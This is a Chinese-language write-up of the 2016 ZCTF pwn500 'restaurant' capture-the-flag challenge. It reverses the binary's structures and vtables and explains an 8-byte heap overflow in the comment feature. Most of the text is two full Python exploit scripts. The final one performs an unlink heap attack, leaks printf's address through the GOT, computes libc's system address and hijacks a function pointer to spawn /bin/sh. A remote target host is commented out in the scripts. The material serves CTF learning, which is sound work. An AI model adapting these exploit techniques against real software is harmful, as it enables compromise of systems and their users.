2016-zctf-pwn500-restaurant-write-up(中国菜馆)
花了六七个小时做这个题目,还是没搞出来。。。。。。好菜。。。。
这道题是用c++写的
结构体有以下几个:
00000000
00000000 struct_info struc ; (sizeof=0x90, align=0x8)
00000000 name db 16 dup(?)
00000010 country_name db 16 dup(?)
00000020 money dq ?
00000028 age dq ? ; offset
00000030 show_exit_info_func dq ?
00000038 order_ptr dq 3 dup(?)
00000050 addition_comment db 64 dup(?)
00000090 struct_info ends
00000090
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 struct_type1 struc ; (sizeof=0x50, align=0x8)
00000000 vitable dq ? ; offset
00000008 taste_comment db 32 dup(?)
00000028 message db 16 dup(?)
00000038 price dq ?
00000040 look_comment db 16 dup(?)
00000050 struct_type1 ends
00000050
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 struct_type2 struc ; (sizeof=0x88, align=0x8)
00000000 vitable dq ?
00000008 taste_comment db 32 dup(?)
00000028 message db 32 dup(?)
00000048 price dq ?
00000050 look_comment db 56 dup(?)
00000088 struct_type2 ends
00000088
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 struct_type3 struc ; (sizeof=0x80, align=0x8)
00000000 vitable dq ?
00000008 taste_comment db 32 dup(?)
00000028 message db 48 dup(?)
00000058 price dq ?
00000060 look_comment db 32 dup(?)
00000080 struct_type3 ends
其实漏洞还是很明显的,
各个类型的虚函数表大概如下:
.rodata:0000000000404770 type1_404770 dq offset show_0_4028D4 ; DATA XREF: staple_food1_init_402860+1Co
.rodata:0000000000404770 ; init_403B62+10o
.rodata:0000000000404778 dq offset get_price_8_4029A4
.rodata:0000000000404780 dq offset append_16_4029B6
.rodata:0000000000404788 dq offset copy_24_4029E0
.rodata:0000000000404790 dq offset get_look_comment_32_4028B2
.rodata:0000000000404798 dq offset get_max_comment_szie_40_4028C4
.rodata:00000000004047A0 dq offset init_403B62
.rodata:00000000004047A8 dq offset delete_56_403B9C
就是在添加评论的时候,外观评价上有个8(最多9个)字节的溢出,触发情况如下:
首先评论的时候直接是copy函数,第二次更改的时候,是在“Changed”后面append上评论的字符串,而每次get_max_comment_size的时候,大小都是固定的,所以会溢出
如下:
fgets(s, len + 2, stdin);
s[len + 2] = '\n';
if ( (signed int)strlen(s) > len )
{
LODWORD(v4) = std::operator<<>(6316416LL, 0x403F6ELL);// 0x403F6EL Your comment is too long!
std::ostream::operator<<(v4, 0x400ED0LL);
exit(1);
}
LODWORD(v5) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);
if ( *(_BYTE *)v5 )
{
LODWORD(v6) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);
*(_QWORD *)v6 = ':degnahC';
*(_BYTE *)(v6 + 8) = 0;
}
else
{
LODWORD(v7) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);
*(_BYTE *)v7 = 0;
}
(*(void (__fastcall **)(_QWORD, char *))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 16LL))(
*(_QWORD *)&info->name[8 * (i + 6LL) + 8],
s);
v14 = 1;
不成功脚本:
当时最开始做的时候,是采用off by one将后面的节点进行释放,达到两个菜单的堆块重叠,最终改写另外一个菜单的虚表,最终成功的到达了system,但是没法传参数,思路卡住了。。。。。。,由于没成功,就不多介绍了。。。
__author__ = "pxx"
from zio import *
from pwn import *
#ip = 218.29.102.109
target = "./restaurant"
#target = ("115.28.27.103", 44444)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def take_staple_food(io):
io.read_until("8. Finish your order.\n")
io.writeline("1")
def take_entree(io):
io.read_until("8. Finish your order.\n")
io.writeline("2")
def take_soup(io):
io.read_until("8. Finish your order.\n")
io.writeline("3")
def add_comments(io, order, look, taste):
io.read_until("8. Finish your order.\n")
io.writeline("7")
io.read_until("Which order do you want to make a comment(1,2 or 3 depend on menu): ")
io.writeline(str(order))
io.read_until("How does this dish look: \n")
io.writeline(look)
io.read_until("How does this dish taste: \n")
io.writeline(taste)
def cancel_order(io, order):
io.read_until("8. Finish your order.\n")
io.writeline("5")
io.read_until("Which order do you want to cancel(1,2 or 3 depend on menu): ")
io.writeline(str(order))
def show_list(io):
io.read_until("8. Finish your order.\n")
io.writeline("4")
def show_account(io):
io.read_until("8. Finish your order.\n")
io.writeline("6")
map_info = {}
map_info["Steamed rice"] = 1 #0x50
map_info["Pan-Fried Bun Stuffed with Pork"] = 2 #0x88
map_info["Jiaozi Stuffed with Pork and Chinese Cabbage"] = 3 #0x80
map_info["Kun Pao Chicken"] = 1 #0x50
map_info["Scrambled Egg with Tomato"] = 2 #0x88
map_info["Shredded Pork with Vegetables, Sichuan Style"] = 3 #0x80
map_info["Scallop Soup"] = 1 #0x50
map_info["Minced Beef and Tofu Soup"] = 2 #0x88
map_info["Shredded Pork with Pickled Vegetable Soup"] = 3 #0x80
def pwn(io):
printf_got = 0x0000000000606018
io.read_until("Please enter your name: ")
show_info_addr = 0x40261e
name = l64(show_info_addr)
io.writeline(name)
io.read_until(", you are the luckey ")
data = io.read_until("th guest")[:-8]
info_addr = int(data)
print "info_addr:", hex(info_addr)
io.read_until("Are you from China? (y/n) ")
io.writeline("n")
io.read_until("Dear foreigner, please enter your country: ")
atoi_got = 0x00000000006060a0
country = 'pxx\x00'
country = country.ljust(16, 'a')
country += l64(0x999999)[:4]
io.writeline(country)
io.read_until("How old are you: ")
age = printf_got
io.writeline(str(age))
take_staple_food(io)
take_entree(io)
take_soup(io)
show_list(io)
target_order = 1
target_type = -1
result = []
for i in range(1, 4):
io.read_until("Order %d : \n"%(i))
io.read_until("name: ")
name = io.read_until("\n")[:-1]
print map_info[name], name
result.append(map_info[name])
if i == 1:
target_type = map_info[name]
if result[0] != 2 or result[1] != 1:
io.close()
print "first node not match"
return False
size = 0
size_map = {}
size_map[1] = 0x50
size_map[2] = 0x88
size_map[3] = 0x80
size2_map = {}
size2_map[1] = 16
size2_map[2] = 56
size2_map[3] = 32
look = 'aaa'
taste = 'a' * 8
add_comments(io, target_order, look, taste)
size2 = 0x10
if result[2] == 2:
size2 = 0x08
look = 'aaa\x00'
look = look.ljust(size2_map[2] - 8, 'a')
look += l64(size_map[result[1]] + 0x10 + size2 + size_map[result[2]] + 1)
taste = 'a' * 8
add_comments(io, target_order, look, taste)
cancel_order(io, 2)
take_entree(io)
show_list(io)
result2 = []
for i in range(1, 3):
io.read_until("Order %d : \n"%(i))
io.read_until("name: ")
name = io.read_until("\n")[:-1]
print map_info[name], name
result2.append(map_info[name])
#io.read_until()
if result2[1] == 1:
io.close()
print "second node not match"
return False
io.gdb_hint()
if result2[1] == 2:
look = 'aaa'
taste = 'bbb'
add_comments(io, 2, look, taste)
look = 'a' * (0x10 - 8)
look += l64(info_addr)
look += 'a' * 32
look += l64(printf_got)[:6]
taste = 'a' * 8
add_comments(io, 2, look, taste)
else:
#look = 'a' * 0x10
look += l64(info_addr)
look += 'a' * 32
look += l32(printf_got)
taste = 'a' * 8
add_comments(io, 2, look, taste)
show_list(io)
io.read_until("Order 3 : \n")
io.read_until("Your age: ")
data = io.read_until("\n")[:-1]
target_addr = int(data)
print "target_addr:", hex(target_addr)
#data = io.read_until("Now ple1ase take a order:")[:-len("Now please take a order:")]
#print [c for c in data]
#elf_info = ELF("./libc-2.19.so")
elf_info = ELF("./libc.so.6")
target_offset = elf_info.symbols["printf"]
system_offset = elf_info.symbols["system"]
print "info_addr:", hex(info_addr)
buff_addr = l64(info_addr + 0x90 + 0x20 + 0x10 + 0x88 + 0x08 + 0x50 + 0x10 + 0x10)
libc_base = target_addr - target_offset
system_addr = libc_base + system_offset
data = l64(system_addr)
look = 'a' * (0x10 - 8)
look += buff_addr
look += "/bin/sh;" + data + ";/bin/sh;"
show_list(io)
taste = 'a' * 8
add_comments(io, 2, look, taste)
#delete_note(io, 6)
io.interact()
return True
while True:
io = get_io(target)
if pwn(io) == True:
break
成功脚本:
利用坑点:(可能我写利用不太成熟,觉得限制太多。。。菜到家了)
1. 利用的时候几乎只能是用类型2进行,因为:
另外两种类型:0x50,0x80,在堆使用的时候,溢出的8字节刚好把多余的pre_size占用,只能覆盖到size的最高位(感觉这样难利用),
所以选择0x88大小的size,这样pre_size在自己的buff内部,可以填写,而溢出的8字节,刚好可以覆盖后面堆块的size,最终达到unlink利用。
2. 由于每次的类型是随机的,感觉情况好多,但是后来发现固定死一种比较好求解,,而且貌似其他会发生异常,主要原因在于:
每次添加评论的时候,都会调用一下虚表中的get_max_comment_size,unlink改写后,order_ptr 所向的地方,会被改成&addr-3,这个位置要不就是存money的地方,要不就是前面的某个位置,我最后改成的就是存放money的位置(money的值就是虚表的地址),而money是我第一次溢出改写后,几乎就只与我订单有关系了,如果随机,那么虚表就没法确定,导致调用异常,最后我订两个菜单(类型2, 类型2),然后在利用age泄露地址,利用退出时回显的消息来改成system,达到获取shell
最后脚本如下:
__author__ = "pxx"
from zio import *
from pwn import *
#ip = 218.29.102.109
target = "./restaurant"
#target = ("115.28.27.103", 44444)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def take_staple_food(io):
io.read_until("8. Finish your order.\n")
io.writeline("1")
def take_entree(io):
io.read_until("8. Finish your order.\n")
io.writeline("2")
def take_soup(io):
io.read_until("8. Finish your order.\n")
io.writeline("3")
def add_comments(io, order, look, taste):
io.read_until("8. Finish your order.\n")
io.writeline("7")
io.read_until("Which order do you want to make a comment(1,2 or 3 depend on menu): ")
io.writeline(str(order))
io.read_until("How does this dish look: \n")
io.writeline(look)
io.read_until("How does this dish taste: \n")
io.writeline(taste)
def cancel_order(io, order):
io.read_until("8. Finish your order.\n")
io.writeline("5")
io.read_until("Which order do you want to cancel(1,2 or 3 depend on menu): ")
io.writeline(str(order))
def show_list(io):
io.read_until("8. Finish your order.\n")
io.writeline("4")
def show_account(io):
io.read_until("8. Finish your order.\n")
io.writeline("6")
def finish_order(io):
io.read_until("8. Finish your order.\n")
io.writeline("8")
map_info = {}
map_info["Steamed rice"] = 1 #0x50
map_info["Pan-Fried Bun Stuffed with Pork"] = 2 #0x88
map_info["Jiaozi Stuffed with Pork and Chinese Cabbage"] = 3 #0x80
map_info["Kun Pao Chicken"] = 1 #0x50
map_info["Scrambled Egg with Tomato"] = 2 #0x88
map_info["Shredded Pork with Vegetables, Sichuan Style"] = 3 #0x80
map_info["Scallop Soup"] = 1 #0x50
map_info["Minced Beef and Tofu Soup"] = 2 #0x88
map_info["Shredded Pork with Pickled Vegetable Soup"] = 3 #0x80
def pwn(io):
printf_got = 0x0000000000606018
io.read_until("Please enter your name: ")
show_info_addr = 0x40261e
name = "/bin/sh;"
io.writeline(name)
io.read_until(", you are the luckey ")
data = io.read_until("th guest")[:-8]
info_addr = int(data)
io.read_until("Are you from China? (y/n) ")
io.writeline("n")
io.read_until("Dear foreigner, please enter your country: ")
atoi_got = 0x00000000006060a0
country = 'pxx\x00'
country = country.ljust(16, 'a')
type_2_virt = 0x404710
country += l64(type_2_virt + 2 + 10)[:4]
io.writeline(country)
io.read_until("How old are you: ")
age = printf_got
io.writeline(str(age))
take_staple_food(io)
take_entree(io)
#take_soup(io)
show_list(io)
result = []
for i in range(1, 3):
io.read_until("Order %d : \n"%(i))
io.read_until("name: ")
name = io.read_until("\n")[:-1]
print map_info[name], name
result.append(map_info[name])
if result != [2, 2]:#
print "not pass this"
#raw_input()
io.close()
return False
size_map = {}
size_map[1] = 0x50
size_map[2] = 0x88
size_map[3] = 0x80
heap_size_map = {}
heap_size_map[1] = 0x60
heap_size_map[2] = 0x90
heap_size_map[3] = 0x90
size2_map = {}
size2_map[1] = 16
size2_map[2] = 56
size2_map[3] = 32
target_order = 0
node_addr = 0
target_order = 1
node_addr = info_addr + 0x38
look = 'aaa'
taste = 'a' * 8
add_comments(io, target_order, look, taste)
#useful_code --- begin
#prepare args
arch_bytes = 8
heap_buff_size = 0x80 #0x78 #0x80
#node1_addr = &p0
node1_addr = node_addr
pack_fun = l64
heap_node_size = heap_buff_size + 2 * arch_bytes #0x88
p0 = ""#pack_fun(0x0)
p1 = pack_fun(heap_buff_size + 0x01)
p2 = pack_fun(node1_addr - 3 * arch_bytes)
p3 = pack_fun(node1_addr - 2 * arch_bytes)
#p[2]=p-3
#p[3]=p-2
#node1_addr = &node1_addr - 3
node2_pre_size = pack_fun(heap_buff_size)
#node2_size = pack_fun(heap_node_size)
#data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
data1 = p0 + p1 + p2 + p3
node2_size = pack_fun(heap_size_map[result[target_order - 1 + 1]])
data2 = node2_pre_size + node2_size
#useful_code --- end
look = 'a' * (56 - 8 - 8) + data2
taste = data1
add_comments(io, target_order, look, taste)
print "next_type:", result[target_order - 1 + 1]
print "next_size:", hex(heap_size_map[result[target_order - 1 + 1]])
cancel_order(io, target_order + 1)
print "info_addr:", hex(info_addr)
io.gdb_hint()
look = ''
taste = ''
taste += l64(printf_got) #age
add_comments(io, target_order, look, taste)
show_account(io)
io.read_until("Your age: ")
data = io.read_until("\n")[:-1]
printf_addr = int(data)
print "printf_addr:", hex(printf_addr)
#data = io.read_until("Now ple1ase take a order:")[:-len("Now please take a order:")]
#print [c for c in data]
#elf_info = ELF("./libc-2.19.so")
elf_info = ELF("./libc.so.6")
target_offset = elf_info.symbols["printf"]
system_offset = elf_info.symbols["system"]
libc_base = printf_addr - target_offset
system_addr = libc_base + system_offset
look = ''
taste = ''
taste += l64(printf_got) #age
taste += l64(system_addr) #show_exit_info
add_comments(io, target_order, look, taste)
finish_order(io)
io.read_until("3.Just so so!\n")
io.writeline("3")
io.interact()
return True
while True:
io = get_io(target)
if pwn(io) == True:
break